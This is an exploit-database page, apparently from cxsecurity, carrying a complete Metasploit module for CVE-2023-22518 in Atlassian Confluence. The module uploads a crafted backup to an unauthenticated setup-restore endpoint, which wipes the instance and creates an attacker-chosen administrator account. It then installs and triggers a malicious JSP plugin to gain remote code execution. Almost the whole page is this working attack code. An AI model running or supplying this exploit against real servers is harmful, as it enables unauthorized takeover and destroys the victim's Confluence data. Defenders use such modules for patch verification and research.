Atlassian Confluence Improper Authorization / Code Execution

2023.12.20
Credit: Atlassian
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)', 'Description' => %q{ This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a Confluence instance administrator account. Using this account, an attacker can then perform all administrative actions that are available to Confluence instance administrator. This module uses the administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code execution on the target in the context of the of the user running the confluence server. }, 'Author' => [ 'Atlassian', # Discovery 'jheysel-r7' # msf module ], 'References' => [ [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'], [ 'CVE', '2023-22518'] ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Targets' => [ [ 'Java', { 'Platform' => 'java', 'Arch' => [ARCH_JAVA] }, ] ], 'DisclosureDate' => '2023-10-31', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(8090), OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/), OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]), # The endpoint we target to trigger the vulnerability. OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]), # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait. OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30]) ] ) end def check confluence_version = get_confluence_version return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version # Confluence Server and Confluence Data Center have the same vulnerable version ranges. if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) || confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) || confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) || confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) || confluence_version == Rex::Version.new('8.6.0') return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}") end Exploit::CheckCode::Safe("Confluence version: #{confluence_version}") end # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html def generate_hash(password) salt = OpenSSL::Random.random_bytes(16) iterations = 10000 digest = OpenSSL::Digest.new('SHA1') key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest) salted_key = salt + key encoded_hash = Base64.strict_encode64(salted_key) '{PKCS5S2}' + encoded_hash end def create_zip zip_file = Rex::Zip::Archive.new # exportDescriptor.properties needs to be present in the zip file in order for it to be valid. export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties')) zip_file.add_file('exportDescriptor.properties', export_descriptor) entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml')) entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase) entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME']) entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD'])) zip_file.add_file('entities.xml', entities_xml) zip_file.pack end def upload_backup zip_file = create_zip post_data = Rex::MIME::Message.new post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"') post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"') post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'keep_cookies' => true, 'headers' => { 'X-Atlassian-Token' => 'no-check' }, 'vars_get' => { 'synchronous' => 'true' } }, 120) fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200 print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'") end def exploit print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}") # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password upload_backup # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system. payload_endpoint = rand_text_alphanumeric(8) plugin_key = rand_text_alpha(8) begin payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint) upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD']) trigger_payload_plugin(payload_endpoint) ensure delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD']) end end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top